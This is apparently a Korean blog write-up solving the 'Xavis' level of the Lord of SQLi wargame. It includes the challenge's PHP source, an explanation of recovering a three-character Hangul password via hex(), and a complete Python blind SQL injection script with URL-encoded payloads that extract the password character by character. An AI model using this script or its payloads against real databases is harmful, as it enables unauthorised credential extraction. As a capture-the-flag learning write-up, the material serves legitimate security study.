[LOS] 19. Xavis

고둑·2021년 7월 17일
0

LoS

목록 보기
19/21
post-custom-banner

힌트

  • 비밀번호가 한국어임....
  • hex 이용

풀이

코드 해석

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>

처음 딱 보았을 때 너무 쉬워 보여서 오히려 당황했다.
필터링도 regex, like 제외하면 항상 필터링 당하던 것들이고 딱 보면 블라인드 인젝션을 시도해야 할 거 같은 코드이다.

Blind SQL injection

처음에는 이전에 풀었던 문제처럼 length(pw)로 패스워드의 길이를 찾은 결과 비밀번호는 12자리라는 것을 알아내서 기존의 방식으로 공격을 시도하였으나 원인 모를 오류로 계속 실패하였다.

아무런 진전이 없어서 문제에 관해 찾아보니까 비밀번호가 한글이라는 것을 알게 되었다.

이 사실을 알고 설마 하면서 length(mid(pw,1,1))로 한 글자의 크기를 알아보았는데 4가 나왔다.
한 글자의 크기가 4이고 총 크키가 12가 나왔으므로 비밀번호는 3글자의 한국어인 것을 알 수 있다.

유니코드에서 한국어에 할당된 번호는 15380608 ~ 15572643이다. 엄청 많다는 소리다. 이것을 일일이 대입을 하면 내 컴퓨터가 죽든지 서버가 죽든지 내 인내심이 죽던지 셋 중의 하나는 죽을 거 같아서 한글인 pw값을 hex()를 이용하여 16진수 값으로 변환을 하고 그 16진수 값을 블라인드 인젝션을 통해 알아내는 것으로 방향을 틀었다.

length(hex(pw))으로 16진수의 길이를 구하면 24인 것을 알 수 있다.
따라서 mid(hex(pw),1,1) 이런 식으로 16진수 값을 한 개씩 24자리를 모두 알아낼 수가 있다.
위에서 말했듯이 우리는 비밀번호가 3자리의 한국어인 것을 이미 알고 있다. 그리고 16진수의 값은 24자리이므로 8자리의 16진수가 한 글자를 나타내는 것을 알 수 있다.
따라서 8자리씩 끊고 앞에서부터 차례대로 한국어로 변환해주면 pw 세글자가 나온다.

이를 기반으로 블라인드 SQL 인젝션을 위한 스크립트를 짜보았다.

# -*- coding: utf-8 -*-
import urllib.request

answer = ""
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
session_id = "PHPSESSID="+"5u84grpvs4dd5tsgg6st4q4kse"

url_start = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"+'?'
pw_len = 0
word_len = 0
hex_len = 0
i = 1

word = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
        'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']

print("비밀번호 크기 찾는 중")
while 1:
    pw_len += 1

    url_len = url_start + "pw=%27%20or%20id%20=%200x61646d696e%20and%20length(pw)={}%23".format(str(pw_len))

    #print(pw_len)
    print('.', end= ' ')

    req_len = urllib.request.Request(url_len)  # 엔터 치기전 상태
    req_len.add_header('User-agent', user_agent)  # 헤더값 설정(los가 뱉어냄)
    req_len.add_header("Cookie", session_id)

    res_len = urllib.request.urlopen(req_len)  # 엔터누른 효과
    data_len = res_len.read().decode('utf-8')  # 본문만 가져오기


    if data_len.find("<h2>Hello admin</h2>") != -1:
        print('\n\n비밀번호 크기 : {}\n'.format(str(pw_len)))
        break

print("한 단어 크기 찾는 중\n")
while 1:
    word_len += 1
    url_word = url_start + "pw=%27%20or%20id%20=%200x61646d696e%20and%20length(mid(pw,1,1))={}%23".format(str(word_len))
    #print(word_len)

    req_word = urllib.request.Request(url_word)  # 엔터 치기전 상태
    req_word.add_header('User-agent', user_agent)  # 헤더값 설정(los가 뱉어냄)
    req_word.add_header("Cookie", session_id)

    res_word = urllib.request.urlopen(req_word)  # 엔터누른 효과
    data_word = res_word.read().decode('utf-8')  # 본문만 가져오기


    if data_word.find("<h2>Hello admin</h2>") != -1:
        print('1단어 크기 : {}\n'.format(str(word_len)))
        break

password_length = int(pw_len/word_len)
print('비밀번호 글자 수 : {}\n'.format(password_length))


print("hex(pw) 길이 찾는 중")
while 1:
    hex_len += 1

    url_hex = url_start + "pw=%27%20or%20id%20=%200x61646d696e%20and%20length(hex(pw))={}%23".format(str(hex_len))

    #print(hex_len)
    print('.', end= ' ')

    req_hex = urllib.request.Request(url_hex)  # 엔터 치기전 상태
    req_hex.add_header('User-agent', user_agent)  # 헤더값 설정(los가 뱉어냄)
    req_hex.add_header("Cookie", session_id)

    res_hex = urllib.request.urlopen(req_hex)  # 엔터누른 효과
    data_hex = res_hex.read().decode('utf-8')  # 본문만 가져오기


    if data_hex.find("<h2>Hello admin</h2>") != -1:
        print('\n\nhex(pw) 길이: {}\n'.format(str(hex_len)))
        break


print("비밀번호 찾는 중\n")
for i in range(1, hex_len+1):
    print("{}번째 값 찾는 중".format(str(i)))
    for j in range(len(word)):

        url_pw = url_start+"pw=%27%20or%20id%20=%200x61646d696e%20and%20mid(hex(pw),{},1)='{}".format(str(i), word[j])

        #print(url_pw)
        print(word[j])

        req_pw = urllib.request.Request(url_pw)  # 엔터 치기전 상태
        req_pw.add_header('User-agent', user_agent)  # 헤더값 설정(los가 뱉어냄)
        req_pw.add_header("Cookie", session_id)

        res_pw = urllib.request.urlopen(req_pw)  # 엔터누른 효과
        data_pw = res_pw.read().decode('utf-8')  # 본문만 가져오기

        if data_pw.find('<h2>Hello admin</h2>') != -1:
            print("{}번쨰 문자 : {}\n".format(str(i), word[j]))
            answer += word[j]
            break

word_size = int(hex_len/password_length)

str1 = '0x'+answer[:word_size]
str2 = '0x'+answer[word_size:2*word_size] #
str3 = '0x'+answer[2*word_size:]

print('\n첫번째 단어 : {}\n두번째 단어 : {}\n세번째 단어 : {}'.format(str1, str2, str3))

스크립트를 실행해보면
첫 번째 단어는 0x0000c6b0, 두 번째 단어는 0x0000c655, 세 번째 단어는 0x0000ad73이 나온다.

유니코드 표를 참조하여 한국어로 변환해보면
첫 번째 단어는 , 두 번째 단어는 , 세 번째 단어는 ,
즉 비밀번호는 우왕굳이다.

https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=우왕굳

profile
문워킹은 하지말자
post-custom-banner

0개의 댓글